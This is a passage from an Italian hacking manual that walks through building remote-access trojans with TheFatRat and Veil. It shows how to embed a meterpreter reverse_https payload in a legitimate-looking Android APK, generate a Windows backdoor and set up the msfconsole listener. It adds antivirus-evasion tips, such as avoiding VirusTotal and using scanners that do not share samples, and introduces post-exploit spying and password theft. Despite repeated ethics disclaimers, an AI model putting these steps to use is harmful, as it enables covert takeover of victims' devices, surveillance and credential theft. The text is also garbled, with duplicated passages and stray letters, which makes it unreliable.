Dopo aver affrontato le insidie e le finezze dell'ingegneria sociale nel precedente capitolo, è il momento di tuffarci nel cuore oscuro della cybersecurity: i malware. Qui vedremo come i cybercriminali, armati di creatività e conoscenza tecnica, riescono a forgiare quei programmi malevoli che tutti temiamo. Questo capitolo non è un semplice tour degli strumenti per creare malware; è una vera e propria introduzione ai concetti dietro la loro creazione e gestione. Ti parlerò dei principi base per assemblare *malware* e *virus* che sono più di un semplice fastidio: sono strumenti veramente efficaci nell'ottenere controllo su sistemi bersaglio. Ci immergeremo in tool avanzati come **FATRAT** e **Veil**, esplorando come questi possono essere utilizzati per sfuggire ai rilevatori antivirus e mantenere un payload inoffensivo fino all'attivazione. Ma attenzione: tutto ciò che impari deve essere maneggiato con etica e responsabilità. Rispetta le leggi e usa questa conoscenza solo in ambienti controllati e con consenso esplicito, come per i test di penetrazione autorizzati.

COSTRUIRE MALWARE EFFICACI

Abbiamo già esplorato come l'ingegneria sociale possa essere uno strumento potente nella raccolta di informazioni e nell'aprire breccia nelle difese umane. Ora passeremo a qualcosa di più tecnico e tangibile: la creazione di malware. Ricordate sempre l'importanza etica e legale di ciò che state per apprendere; il fine di questo capitolo è puramente educativo.

Ma che cosa sono i malware? Comunemente chiamati Virus, In breve, sono software dannosi che vengono utilizzati per danneggiare, disturbare o rubare dati dal computer di una vittima o da una rete. I virus invece sono una forma particolare di malware; si replicano attaccandosi a programmi e file e diffondendosi automaticamente tra computer.

Per costruire un malware efficace, è essenziale avere una chiara comprensione della piattaforma target e delle sue vulnerabilità. Va da sé che bisogna approfondire linguaggi di programmazione come C, C++, Python e altri strumenti come kits di exploit e frammenti di codice già esistenti. Un malware ben costruito spesso è personalizzato per una specifica vittima o rete, massimizzando l'efficacia dell'attacco.

Una strategia comune è l'uso di un'architettura modulare. Significa che il vostro malware può essere aggiornato con nuove funzionalità o modificato per evitare la rilevazione senza dover riscrivere il codice da capo. Ovviamente, ciò rende il software dannoso più resistente alle soluzioni di sicurezza che si evolvono continuamente.

Inoltre, bisogna camuffare le tracce. L'offuscamento del codice e la crittografia giocano un ruolo fondamentale per nascondere il malware agli occhi dei software antivirus. Strumenti come Packers o crypters non sono altro che il trucco del mago applicato al codice malevolo.

Un aspetto cruciale è poi il metodo di diffusione. Un virus efficace si diffonde rapidamente e largamente prima che possa essere rilevato e neutralizzato. Le tecniche possono variare, dalle e-mail di phishing a exploit che sfruttano punti di debolezza software noti. Il social engineering, affrontato nel capitolo precedente, può essere utilizzato anche qui per truffare gli utenti facendoli cliccare su link pericolosi.

Ma affinché il malware faccia il suo lavoro, è necessario anche che sia persistente. Ciò significa che deve essere in grado di resistere ai riavvii del sistema e ai tentativi di rimozione. Si potrebbe investire in rootkits, o tecniche che ne consentano l'autostart ogni volta che il dispositivo infetto viene acceso.

Non bisogna poi sottovalutare la comunicazione con il server di comando e controllo, o C2. Un malware di successo richiede un pulsante "spegni", una via per ricevere nuovi ordini o per

trasferire dati sottratti indietro al creatore. Per questo, molti si affidano a server C2 nascosti o a canali di comunicazione crittografati.

Ora, pensiamo alla rilevazione. Fortunatamente per i difensori (e sfortunatamente per gli attaccanti), non esiste il malware perfetto; le tecniche di rilevamento sono in uno stato di costante evoluzione parallela alle minacce. Ragion per cui un buon malware deve essere testato contro ambienti controllati e sandbox, assicurando un basso tasso di rilevabilità.

Naturalmente, gli aspetti legali non vanno trascurati. Le leggi variano da paese a paese, ma è universalmente accettato che la creazione e la diffusione di malware per danneggiare altri è illegale. Per questo, è vitale focalizzarsi sulla costruzione di questi strumenti in un contesto etico e legale, tipicamente in laboratori e ambienti controllati con l'obiettivo di comprendere come difendersi dalle minacce reali.

Fondamentale è anche mantenere una mentalità agile. Il mondo della cybersecurity è una sorta di scacchiera globale con mosse e contromosse che cambiano ogni giorno. Per costruire malware e virus efficaci è necessario restare aggiornati sulle ultime scoperte e vulnerabilità, pronti a evolvere e adattarsi al cambiare del panorama della sicurezza informatica.

Infine, c'è l'importanza del feedback e del miglioramento. Un ciclo di feedback costruttivo dai test effettuati e dalle campagne rilasciate (sempre legalmente ed eticamente!) aiuterà a perfezionare i meccanismi di evasione, la stabilità e le capacità offensive del malware. Tutto per restare sempre un passo avanti.

Chiudiamo questa introduzione ribadendo il concetto: la conoscenza è potere, ma con grande potere viene grande responsabilità. L'utilizzo di malware e virus è un terreno pericoloso e moralmente complesso. L'obiettivo non dovrebbe mai essere quello di causare danno, ma quello di capire come le minacce funzionano per poter meglio affrontarle e proteggersi da esse. La sicurezza informatica non è solo una questione di tecnologia, ma anche di etica e legalità.

i

trasferire dati sottratti indietro al creatore. Per questo, molti si affidano a server C2 nascosti o a canali di comunicazione crittografati.

Ora, pensiamo alla rilevazione. Fortunatamente per i difensori (e sfortunatamente per gli attaccanti), non esiste il malware perfetto; le tecniche di rilevamento sono in uno stato di costante evoluzione parallela alle minacce. Ragion per cui un buon malware deve essere testato contro ambienti controllati e sandbox, assicurando un basso tasso di rilevabilità.

Naturalmente, gli aspetti legali non vanno trascurati. Le leggi variano da paese a paese, ma è universalmente accettato che la creazione e la diffusione di malware per danneggiare altri è illegale. Per questo, è vitale focalizzarsi sulla costruzione di questi strumenti in un contesto etico e legale, tipicamente in laboratori e ambienti controllati con l'obiettivo di comprendere come difendersi dalle minacce reali.

Fondamentale è anche mantenere una mentalità agile. Il mondo della cybersecurity è una sorta di scacchiera globale con mosse e contromosse che cambiano ogni giorno. Per costruire malware e virus efficaci è necessario restare aggiornati sulle ultime scoperte e vulnerabilità, pronti a evolvere e adattarsi al cambiare del panorama della sicurezza informatica.

Infine, c'è l'importanza del feedback e del miglioramento. Un ciclo di feedback costruttivo dai test effettuati e dalle campagne rilasciate (sempre legalmente ed eticamente!) aiuterà a perfezionare i meccanismi di evasione, la stabilità e le capacità offensive del malware. Tutto per restare sempre un passo avanti.

Chiudiamo questa introduzione ribadendo il concetto: la conoscenza è potere, ma con grande potere viene grande responsabilità. L'utilizzo di malware e virus è un terreno pericoloso e moralmente complesso. L'obiettivo non dovrebbe mai essere quello di causare danno, ma quello di capire come le minacce funzionano per poter meglio affrontarle e proteggersi da esse. La sicurezza informatica non è solo una questione di tecnologia, ma anche di etica e legalità.

FATRAT

Passando al fulcro di questo capitolo, concentriamoci su FATRAT. Se ti stai chiedendo cosa sia, FATRAT è un potente strumento utilizzato nella creazione di malware e l'exploitation di vulnerabilità. Prima di immergerci nel dettaglio, è opportuno precisare che tutte le informazioni fornite hanno uno scopo puramente educativo, con l'intento di sensibilizzare sulla sicurezza informatica.

Partiamo dalla base: FATRAT è uno script automatizzato che permette di generare payload, shellcode per diverse piattaforme incluse Windows, Android e Linux, nonché di eseguire diverse tecniche di evasion.

Ora, affrontare il tema della generazione di malware con FATRAT ci immerge in una realtà in cui la programmazione si unisce alla creatività.

La creazione di un malware efficace spesso si avvale di stratagemmi ingegnosi per aggirare firewall e soluzioni antivirus, il che coinvolge un pensiero critico ben oltre il mero codice.

L'installazione di FATRAT è semplice come bere un bicchier d'acqua. Il tool è disponibile su GitHub e può essere scaricato e installato su sistemi Linux con una serie di comandi rapidi. Una volta installato, si presenta con un'interfaccia a menu che guida passo dopo passo nella creazione del tuo primo payload.

La generazione del payload è solo il primo passo. Affinché il malware sia operativo, devi pensarci alla distribuzione e quest'ultima deve essere oculata e camuffata per eludere i meccanismi di rilevamento. FATRAT offre varie tecniche di evasion, ma ricorda che le difese informatiche si aggiornano continuamente; quindi, quel che funziona oggi potrebbe non essere efficace domani.

La portata di FATRAT si estende anche all'exploitation. Significa che puoi utilizzarlo per sfruttare le vulnerabilità note, al fine di ottenere l'accesso a un sistema. Queste tecniche, sebbene affascinanti, sono un promemoria su quanto sia importante tenere i propri sistemi aggiornati e sicuri.

Ovviamente, FATRAT non viene utilizzato solo per scopi nefasti. Gli esperti di sicurezza informatica lo utilizzano nei test di penetrazione, essenziali per verificare la robustezza delle infrastrutture IT. È una spada a doppio taglio, in cui il lato che scegliamo di utilizzare definisce la nostra etica professionale.

Quando parliamo di generazione di shellcode, FATRAT si dimostra particolarmente versatile. Può creare codice eseguibile personalizzato che una volta iniettato in un'applicazione vulnerabile

può dare a un attaccante il controllo della macchina vittima. Un bravo security tester sfrutterà questi elementi per anticipare e bloccare possibili attacchi.

Un'altra caratteristica interessante di FATRAT è la capacità di integrarsi con servizi esterni e strumenti come Metasploit, un must nell'arsenale di chiunque operi nel campo della sicurezza. Questo consente di organizzare campagne di test più complesse e realistiche, al fine di preparare le difese per affrontare potenziali attacchi.

Muoversi all'interno dell'ambiente FATRAT è abbastanza intuitivo, grazie alla sua interfaccia a menu testuale. Completata la scelta del tipo di exploit e del payload, il tool guida nell'eventuale binding del codice malevolo con file innocui, una tattica comune per insinuare il malware negli ambienti bersaglio senza destare sospetti.

Per coloro che si addentrano in questo mondo per la prima volta, è fondamentale capire che mentre FATRAT semplifica la creazione di malware, esistono leggi e regolamentazioni fortemente restrittive riguardo la loro distribuzione e utilizzo. Un'azione illegale può avere serie implicazioni legali e personali.

Il valore formativo di conoscere strumenti come FATRAT e altri menzionati in questo libro sta nell'educare al pensiero proattivo in termini di misure difensive. "Conoscere il nemico" permette di armare di conseguenza i sistemi che stiamo cercando di proteggere.

Per chiudere, FATRAT offre anche una serie di script che automatizzano alcuni dei compiti più ripetitivi nell'ambito della creazione di payload ed exploit. Questo non solo risparmia tempo, ma consente anche di mantenere una certa coerenza nelle prove effettuate durante l'analisi della sicurezza e nei test di penetrazione.

r

e

e

a

e

e

l.

e

può dare a un attaccante il controllo della macchina vittima. Un bravo security tester sfrutterà questi elementi per anticipare e bloccare possibili attacchi.

Un'altra caratteristica interessante di FATRAT è la capacità di integrarsi con servizi esterni e strumenti come Metasploit, un must nell'arsenale di chiunque operi nel campo della sicurezza. Questo consente di organizzare campagne di test più complesse e realistiche, al fine di preparare le difese per affrontare potenziali attacchi.

Muoversi all'interno dell'ambiente FATRAT è abbastanza intuitivo, grazie alla sua interfaccia a menu testuale. Completata la scelta del tipo di exploit e del payload, il tool guida nell'eventuale binding del codice malevolo con file innocui, una tattica comune per insinuare il malware negli ambienti bersaglio senza destare sospetti.

Per coloro che si addentrano in questo mondo per la prima volta, è fondamentale capire che mentre FATRAT semplifica la creazione di malware, esistono leggi e regolamentazioni fortemente restrittive riguardo la loro distribuzione e utilizzo. Un'azione illegale può avere serie implicazioni legali e personali.

Il valore formativo di conoscere strumenti come FATRAT e altri menzionati in questo libro sta nell'educare al pensiero proattivo in termini di misure difensive. "Conoscere il nemico" permette di armare di conseguenza i sistemi che stiamo cercando di proteggere.

Per chiudere, FATRAT offre anche una serie di script che automatizzano alcuni dei compiti più ripetitivi nell'ambito della creazione di payload ed exploit. Questo non solo risparmia tempo, ma consente anche di mantenere una certa coerenza nelle prove effettuate durante l'analisi della sicurezza e nei test di penetrazione.

ANDROID: COSTRUIRE UN TROJAN SPYWARE USANDO FATRAT

FATRAT è una suite open source per la costruzione di RAT (Remote Access Trojan) per vari dispositivi tra cui Android, Windows e OSx (MacOS).

Se correttamente aggiornato all'ultima versione, offre la possibilità di rimanere non individuabili dai normali Antivirus.

Questo perché gli Antivirus classici si basano sulle "Firme", ovvero se l'hash di un file (una "targa" univoca del file) viene contrassegnato come malevolo allora l'antivirus bloccherà quel file, in caso contrario il file verrà eseguito anche essendo malevolo.

Ovviamente si tratta di una lotta tra gatto e topo, dove i gatti sono gli antivirus, sempre alla ricerca del topo.

Mentre il topo è il nostro malware che fa di tutto per nascondersi.

Capita quindi che il topo venga individuato (sempre e comunque) tuttavia aggiornando il software FATRAT è probabile che in poche ore o giorni, sia disponibile una nuova backdoor o RAT non individuabile (almeno finché qualcuno non segnala all'antivirus che si tratta di un file malevolo).

PER QUESTO MOTIVO È SEMPRE MOLTO STUPIDO CARICARE LA NOSTRA VERSIONE "TROJAN" DI UN'APP SU VIRUSTOTAL.

Stiamo condannando in questo modo la nostra povera app con backdoor ad essere inevitabilmente individuabile dagli antivirus nel giro di poche ore.

Esistono diversi servizi, simili a Virustotal, per fare la scansione di un file e individuare qual antivirus è in grado di bypassare senza segnalare il file agli antivirus stessi.

Questi servizi per quanto legali o in zona grigia, vengono spesso sequestrati dalle forze dell'ordine perché appunto utilizzati dai cybercriminali per testare i loro malware. (In questo modo le forze di polizia sequestrando il server hanno accesso a tutti i malware creati e testati su questi server).

Capita quindi molto spesso che questi servizi vadano down per motivi non chiari o direttamente sequestrati con annunci pubblici.

Siccome il nostro utilizzo del malware che andremo a creare è legittimo, non poniamoci il problema e utilizziamo tranquillamente i servizi disponibili online.

Al momento uno dei migliori servizi di scansione che NON CONDIVIDE dati con gli Antivirus risulta essere VirScan.

Installazione di FATRAT

Installare FATRAT sulla nostra macchina Kali Linux è davvero molto semplice, è possibile installare la suite anche su altri sistemi operativi; tuttavia, per praticità e convenienza utilizzeremo Kali Linux.

Basterà quindi clonare (scaricare) il repository GitHub in cui si trova la suite con il comando (dopo inserire nel nostro terminale):

```
git clone https://github.com/Screetsec/TheFatRat.git
```

Una volta fatto ciò spostiamoci nella cartella dove abbiamo scaricato i file utilizzando il comando CD:

```
cd TheFatRat
```

Ora dobbiamo rendere il nostro file eseguibile utilizzando il comando chmod, inoltre dovremo appunto eseguire il file in modo da procedere all'installazione.

Il comando è: `chmod +x setup.sh && ./setup.sh`

Una volta fatto ciò la suite verrà installata scaricato in automatico tutto ciò di cui ha bisogno per funzionare nella vostra macchina Kali.

Per aggiornare la suite invece il comando è molto simile:

```
./update && chmod +x setup.sh && ./setup.sh
```

Utilizzare FATRAT per creare un app Trojan

UTILIZZARE FATRAT È davvero estremamente semplice, come vedremo a seguito è una suite estremamente guidata e a prova di principiante; tuttavia, i RAT che crea sono davvero molto potenti.

Per prima cosa scarichiamo un APK (file di installazione di Android) legittimo, per farlo possiamo utilizzare uno dei tanti servizi di distribuzione di APK esterni al play store.

Per rendere l'app credibile, scegliamo un APK con già molti permessi.

Sarebbe sospetto per il nostro target che un gioco di pochi mb richieda l'accesso alla posizione, alla fotocamera e quant'altro.

Se invece utilizziamo un APK che richiede già quei permessi, il tutto sarà in discesa, risultando quindi un applicativo legittimo.

La scelta dell'APK da utilizzare è ovviamente nostra, a seconda di quali informazioni abbiamo raccolto nella fase OSINT e a seconda del pretesto che andremo a utilizzare.

Per aprire la suite FATRAT è sufficiente digitare FATRAT nella nostra shell (terminale) a riga di comando.

È necessario avere permessi di amministrazione per questo il comando dovrebbe essere simile a:
Sudo fatrat

¹Una volta fatto ciò, si aprirà una schermata molto semplice da utilizzare.

A questo punto, selezioniamo ovviamente il numero 5, che corrisponde alla creazione di un RAT per Android.

Per farlo basterà digitare 5 nel terminale.

Una volta fatto ciò, scegliamo sempre con il numero apposito, quale payload utilizzare.

Praticamente tutti i payload si basano su Meterpreter/metasploit: una suite di sicurezza già presente in Kali, davvero molto potente, questa suite permette un controllo totale sul dispositivo target.

Per esempio, nel caso di un APK di un social network potremmo utilizzare una backdoor reverse_https.

Dove reverse vuol dire che sarà il nostro target a collegarsi a noi e non viceversa (dando quindi la possibilità di evadere dai firewall economici o mal configurati) questo perché la connessione sembrerà una normale connessione a un sito WEB.

Una volta fatto ciò, impostiamo la cartella del nostro APK originale.

²Impostiamo inoltre il nostro IP (come mostrato direttamente da FATRAT o attraverso il comando Ifconfig).

Siccome stiamo testando il nostro malware su una rete locale (quindi il nostro target (dispositivo Android) è collegato alla stessa rete) inseriamo il nostro IP locale.

Inseriamo quindi anche la porta di connessione, inseriamo una porta comune che potrebbe essere utilizzata realmente dall'app legittima.

Per esempio, utilizzando una reverse_https e un app di un social potremmo utilizzare la porta 8080 o la porta 80 (simulando così un normale traffico WEB).

Una volta impostato il tutto, lanciamo l'esecuzione creando così la nostra prima APP malevola per Android.

Prima di far installare l'app sul dispositivo target è necessario eseguire il LISTENER.

• Ovvero dire alla nostra macchina Kali Linux che siamo in attesa di una connessione da parte di un dispositivo Android, su una determinata porta. Per farlo lanciamo msfconsole sempre da terminale.

A questo punto dobbiamo scegliere di ascoltare il traffico in entrata verso quella determinata porta.

Attiviamo quindi il nostro listener utilizzando il comando:

```
use exploit/multi/handler
```

• Questo comando permette appunto di “usare” (use) l’exploit multi handler, ovvero un listener multiplatforma.

Una volta fatto, impostiamo il payload utilizzato dalla nostra app malevola (deve essere lo stesso).

• Se abbiamo utilizzato una reverse_https il comando è simile al seguente (a seconda delle versioni di metasploit che potrebbero essere eseguite).

La prima parte è il sistema operativo di riferimento (in questo caso Android), la seconda è il tipo di shell (meterpreter) la terza è il tipo di connessione (reverse_https). In qualsiasi caso possiamo utilizzare il comando help per avere questo tipo di informazioni. il comando sarà quindi:

```
set payload android/meterpreter/reverse_https
```

Una volta fatto ciò, possiamo vedere quali altre informazioni dobbiamo configurare con questo determinato payload.

Per farlo utilizziamo il comando: show options.

Come vediamo dopo aver lanciato il comando show options i dati obbligatori sono lhost (listening host, quindi l’IP della nostra macchina Kali) e lport (la porta utilizzata dal nostro malware).

Utilizziamo appunto gli stessi dati che abbiamo utilizzato in FATRAT.

• Quindi set lhost 192.x.x.x (dove l’IP va sostituito con il nostro IP locale della macchina Kali Linux, se non lo ricordate potete lanciare il comando ifconfig in un altro terminale).

• Set lport 8080 (dove 8080 va sostituito con la porta effettivamente utilizzata dal nostro malware)

A questo punto, lanciamo il comando exploit per creare il nostro listener.

Una volta fatto ciò, possiamo far installare ed eseguire il nostro apk modificato sul dispositivo target Android (in questo caso un nostro dispositivo di test, essendo tutto in locale).

Appena lanceremo l’app, verrà eseguita normalmente l’applicazione.

iTuttavia, noi riceveremo la nostra sessione meterpreter sulla macchina Kali Linux, potendo quindi comandare il dispositivo Android a distanza.

Avremo quindi così compromesso la nostra prima macchina!

i

o

o

t

o

i

.

o

Tuttavia, noi riceveremo la nostra sessione meterpreter sulla macchina Kali Linux, potendo quindi comandare il dispositivo Android a distanza.

Avremo quindi così compromesso la nostra prima macchina!

VEIL

In questo capitolo affrontiamo un argomento centrale per chi pratica attività di penetration testing ed ethical hacking: la creazione e la gestione di malware, concentrandoci in particolare su uno strumento potente e sofisticato, noto come Veil. Veil è stato progettato per eludere software antivirus grazie alla capacità di generare payload eseguibili che non vengono rilevati da comuni sistemi di sicurezza.

È cruciale comprendere che l'uso di Veil, pur essendo legale nell'ambito della sicurezza informatica e dei test di penetrazione autorizzati, può diventare un'attività illecita se utilizzato per fini dannosi. Gli studenti che intendono imparare a utilizzarlo devono farlo nel rispetto della legge e della deontologia professionale.

Veil offre un framework che consente agli utenti di scegliere tra una vasta gamma di tecnologie di evasion. Queste opzioni di evasion sono fondamentali per creare payload che possano sfuggire alla rilevazione, considerato che i software antivirus aggiornano costantemente i loro database con le firme dei malware più diffusi.

La creazione di payload con Veil inizia selezionando il linguaggio di scripting o di programmazione con cui si vuole lavorare. Attualmente supporta linguaggi come Python, Go Powershell e Ruby, offrendo una flessibilità quasi senza pari nella generazione di codice maligno personalizzato.

Una volta selezionato il linguaggio, l'utente è guidato attraverso un processo interattivo durante il quale può specificare i dettagli del payload, tra cui il tipo di evasion, il tipo di criptazione dei dati, le tecniche di offuscazione del codice e le eventuali tecniche di persistenza sul sistema bersaglio.

Dopo aver configurato le opzioni desiderate, Veil esegue la generazione del payload e offre l'opportunità di testarlo contro comuni antivirus, per verificare l'efficacia delle tecniche di evasion implementate. Questa fase è essenziale per affinare il payload e assicurarsi che abbia le maggiori chance possibili di non essere rilevato durante un'operazione reale.

Un aspetto importante che Veil insegna agli studenti è la necessità di essere creativi e persistenti nel campo della sicurezza informatica. Mentre un payload potrebbe passare inosservato da un antivirus oggi, potrebbe non essere così domani. È sempre necessario restare aggiornati sulle ultime tecnologie e metodi di difesa per essere un passo avanti.

Veil non si limita solo alla creazione di payload; offre anche una suite di strumenti che possono essere utilizzati in varie fasi dell'hacking etico, inclusi la fase di post-exploitation e l'ascolto

delle connessioni in entrata. Questi strumenti sono cruciali per mantenere il controllo di un sistema compromesso e per gestire efficacemente le informazioni raccolte.

Quando si lavora con Veil, è importante fare pratica in un ambiente controllato. È frequente l'uso di laboratori virtuali, nei quali gli studenti possono simulare attacchi contro sistemi virtuali senza correre il rischio di infrangere la legge o causare danni non intenzionali.

L'apprendimento delle tecniche di evasione e la capacità di creare malware non individuabili è solo una parte della cintura di strumenti di un ethical hacker. Agli studenti viene costantemente ricordato che l'obiettivo è migliorare la sicurezza e che le conoscenze acquisite devono essere utilizzate per rinforzare le difese, non per scavalcarle.

Inoltre, la discussione sull'etica è sempre presente quando si parla di strumenti come Veil. Il confine tra uso legittimo e illegittimo è sottile e richiede una comprensione approfondita della legislazione e delle linee guida etiche che governano la professione dell'ethical hacker.

Veil rappresenta una sfida e allo stesso tempo una risorsa per chi è impegnato nel campo della cybersecurity. L'abilità di creare malware che evade i rilevamenti è preziosa non solo per condurre test di penetrazione ma anche per comprendere come i veri attaccanti possano procedere.

Infine, ricordiamo che l'uso responsabile di strumenti come Veil è ciò che distingue un professionista dall'attaccante malevolo. Ogni studente deve serrare il patto di utilizzare le proprie conoscenze per il bene comune e per il rafforzamento della sicurezza nel cyberspazio, coscienti del fatto che ogni strumento, se usato in modo scorretto, può diventare un'arma.

a

o

o

delle connessioni in entrata. Questi strumenti sono cruciali per mantenere il controllo di un sistema compromesso e per gestire efficacemente le informazioni raccolte.

Quando si lavora con Veil, è importante fare pratica in un ambiente controllato. È frequente l'uso di laboratori virtuali, nei quali gli studenti possono simulare attacchi contro sistemi virtuali senza correre il rischio di infrangere la legge o causare danni non intenzionali.

L'apprendimento delle tecniche di evasion e la capacità di creare malware non individuabili è solo una parte della cintura di strumenti di un ethical hacker. Agli studenti viene costantemente ricordato che l'obiettivo è migliorare la sicurezza e che le conoscenze acquisite devono essere utilizzate per rinforzare le difese, non per scavalcarle.

Inoltre, la discussione sull'etica è sempre presente quando si parla di strumenti come Veil. Il confine tra uso legittimo e illegittimo è sottile e richiede una comprensione approfondita della legislazione e delle linee guida etiche che governano la professione dell'ethical hacker.

Veil rappresenta una sfida e allo stesso tempo una risorsa per chi è impegnato nel campo della cybersecurity. L'abilità di creare malware che evade i rilevamenti è preziosa non solo per condurre test di penetrazione ma anche per comprendere come i veri attaccanti possano procedere.

Infine, ricordiamo che l'uso responsabile di strumenti come Veil è ciò che distingue un professionista dall'attaccante malevolo. Ogni studente deve serrare il patto di utilizzare le proprie conoscenze per il bene comune e per il rafforzamento della sicurezza nel cyberspazio, cosciente del fatto che ogni strumento, se usato in modo scorretto, può diventare un'arma.

VEIL FRAMEWORK

Veil è un framework molto potente e quasi sempre aggiornato per creare backdoor non individuabili dai normali antivirus.

Anche in questo caso, quasi tutti i payload sono basati su meterpreter\metasploit (una suite di sicurezza già presente in Kali Linux).

Anche in questo caso e nei casi seguenti, conviene utilizzare siti di scansione che non distribuiscono il software alle case produttrici di Antivirus.

Questo per evitare che la nostra backdoor venga individuata, tuttavia effettuare la scansione è utile per conoscere quali Antivirus sono in grado di individuare la nostra backdoor!

Per lanciare Veil, possiamo utilizzare Python (essendo il programma effettivamente scritto in Python).

Quindi per farlo entriamo nella cartella di Veil (cd Veil)

Avviamo quindi il framework attraverso il comando `python3 veil.py` oppure direttamente inserire il comando Veil nel caso avessimo scelto di impostare la shortcut per lanciare Veil da qualsiasi cartella. (Questo verrà chiesto durante l'installazione).

A questo punto avremo un menu con due opzioni. (Nel caso non fossero direttamente visibili, utilizzare il comando `list` per effettuare la nostra scelta).

Apriamo la prima denominata "evasion", questo ci permetterà di creare il nostro payload.

Per farlo usiamo il comando `use` seguito dal numero nel menu (`use 1` attualmente).

Ora utilizziamo il comando `list` per individuare tutti i payload disponibili.

Per comodità utilizzeremo lo stesso payload di FATRAT (ma potrai scegliere quello che preferisci a seconda delle necessità).

Quindi sceglieremo uno dei payload disponibili per meterpreter (come scritto chiaramente nel payload) e utilizzeremo nuovamente una `reverse_https`.

Scegli quindi il payload che preferisci (a seconda delle tue necessità) tra quelli disponibili per meterpreter e `reverse_https`.

Selezioneremo quindi nuovamente il payload di interesse attraverso il comando `use` seguito dal numero di payload che vogliamo utilizzare (esempio `use 13`).

Nella prima parte del terminale vedremo quindi le informazioni sul payload, nella seconda parte invece saranno presenti le opzioni obbligatorie e facoltative del nostro payload.

A questo punto, esattamente come abbiamo fatto con FATRAT, impostiamo le opzioni obbligatorie che normalmente per le shell meterpreter sono lhost.

(L'indirizzo IP della nostra macchina Kali Linux, ricordando che stiamo eseguendo un attacco in locale e quindi bisogna inserire l'indirizzo IP locale e non quello pubblico).

Se non ricordi l'IP (Veil, a differenza di FATRAT, non lo mostra in automatico) in un altro terminale potete inserire il comando ifconfig per avere la stessa informazione.

Quindi imposta il tuo IP con il comando set lhost IP (dove IP va sostituito con il tuo IP).

Quindi seleziona la porta con il comando set lport.

(Ancora una volta, potrai usare una porta standard come la porta 80 o la 8080 o altre porte a seconda del tuo target).

A questo punto sei pronto a generare la tua backdoor; puoi scegliere anche di cambiare le impostazioni facoltative.

(Giocandoci un po', per riuscire a diminuire le possibilità di detection da parte del software antivirus).

Quindi usa il comando generate per generare la backdoor.

Verrà richiesto il nome da dare alla backdoor potete sceglierne uno a tua scelta. (Non è realmente importante).

A questo punto il terminale ti mostrerà i file creati e la posizione di ogni file, la tua backdoor si trova nella path "executable" che dovrebbe essere veil-output (almeno che tu non l'abbia cambiata)

Puoi quindi testare quanti antivirus vengono bypassati attraverso uno dei tanti siti di scansione online distribuite (come quello listato nelle precedenti sezioni del libro).

Mi raccomando, ancora una volta, non caricare mai le tue backdoor su virustotal, le renderà individuabili nel giro di poche ore o giorni.

Ancora una volta, prima di inviare l'eseguibile al nostro target di test, è necessario creare il listener di meterpreter in maniera del tutto simile al precedente listener creato per la backdoor fatrat.

Digitiamo quindi il comando msfconsole (dopo essere usciti da Veil o su un altro terminale).

Lanciamo nuovamente il multi handler listener con il comando

use exploit/multi/handler

A questo punto, utilizza il payload creato da Veil (deve essere esattamente lo stesso).

iset payload windows/meterpreter/reverse_https (a seconda di quale hai utilizzato).

Puoi visualizzare le opzioni obbligatorie e facoltative del tuo payload con il comando show options.

Imposta i dati obbligatori (listening host e listening port).

³Siccome ribadisco stiamo eseguendo l'attacco sulla nostra rete locale, devi impostare l'host sull'indirizzo IP della nostra macchina Kali Linux (l'indirizzo locale). Per farlo usa il comando:

Set lhost IP (dove IP va sostituito con l'indirizzo IP locale della macchina. Se non lo ricordi, lancia il comando ifconfig in un'altra shell\terminale).

Set lport 8080 (utilizzando la stessa porta che abbiamo utilizzato durante la creazione della backdoor con Veil).

A questo punto, lancia il comando exploit per eseguire il listener.

Una volta installata la backdoor sulla macchina di test avrai la tua connessione direttamente su meterpreter.

A differenza dell'apk di FATRAT, si tratta di una semplice backdoor e non di un trojan (quindi l'eseguibile non ha usi legittimi).

²Ora procediamo a installare la backdoor sulla nostra macchina Windows di test.

i

a

o

l

r

set payload windows/meterpreter/reverse_https (a seconda di quale hai utilizzato).

Puoi visualizzare le opzioni obbligatorie e facoltative del tuo payload con il comando show options.

Imposta i dati obbligatori (listening host e listening port).

Siccome ribadisco stiamo eseguendo l'attacco sulla nostra rete locale, devi impostare l'host sull'indirizzo IP della nostra macchina Kali Linux (l'indirizzo locale). Per farlo usa il comando:

Set lhost IP (dove IP va sostituito con l'indirizzo IP locale della macchina. Se non lo ricordi, lancia il comando ifconfig in un'altra shell\terminale).

Set lport 8080 (utilizzando la stessa porta che abbiamo utilizzato durante la creazione della backdoor con Veil).

A questo punto, lancia il comando exploit per eseguire il listener.

Una volta installata la backdoor sulla macchina di test avrai la tua connessione direttamente su meterpreter.

A differenza dell'apk di FATRAT, si tratta di una semplice backdoor e non di un trojan (quindi l'eseguibile non ha usi legittimi).

Ora procediamo a installare la backdoor sulla nostra macchina Windows di test.

Capitolo 19: Tecniche di PostExploit e Attacco

Ormai hai una conoscenza solida su come costruire e gestire malware che abbiamo visto nel capitolo precedente. Passiamo ora a un aspetto altrettanto cruciale: che cosa fare una volta che si è ottenuto l'accesso a un sistema. Nel mondo dell'hacking, questo è il momento del post-exploit, dove la vera maestria si dimostra nella capacità di mantenere questo accesso, muoversi all'interno del network e, infine, sfruttare al massimo le risorse ottenute per gli obiettivi definiti. Esploreremo come sfruttare al meglio Meterpreter, uno strumento potente per controllare pienamente un dispositivo compromesso, sia esso Android, Windows o Linux. Affronteremo anche l'arte del pivoting, una tecnica che ci permette di trasformare un sistema compromesso in un trampolino di lancio per sondare e attaccare altri sistemi nello stesso network, sfruttando le connessioni e la fiducia esistenti tra le macchine. Infine, daremo uno sguardo a Lazagne, un software capace di estrarre password memorizzate sulla macchina vittima, aprendo così nuove porte e possibilità di accesso. Ricorda che l'obiettivo è sempre imparare per difendersi, conoscere per proteggere.

Post Exploit Meterpreter Android, Windows, Linux

DOPO AVER GUADAGNATO l'accesso a un sistema tramite un exploit, è cruciale saper navigare e manipolare tale sistema per raggiungere gli obiettivi previsti. Il Meterpreter, una potente shell fornita dal framework Metasploit, è lo strumento ideale per questa fase chiamata "Post Exploit".

Meterpreter consente agli attacker di eseguire numerosi comandi per gestire e controllare il sistema compromesso. Quando si tratta di sistemi Android, per esempio, gli utenti possono utilizzare funzionalità specifiche come il recupero della lista di contatti, degli SMS e perfino l'attivazione della camera e del microfono.

Nei sistemi Windows, Meterpreter offre ancora più possibilità. È possibile migrare tra i processi, caricare ed eseguire DLL, scattare screenshot, controllare la webcam, intercettare la tastiera e molto altro. Questo offre un controllo quasi totale sul sistema compromesso.

Parlando di Linux, la versatilità non è da meno. Si possono eseguire script bash direttamente, manipolare il filesystem, creare e gestire tunnel SSH e persino elevare i privilegi qualora ci fossero vulnerabilità note nel sistema in uso.

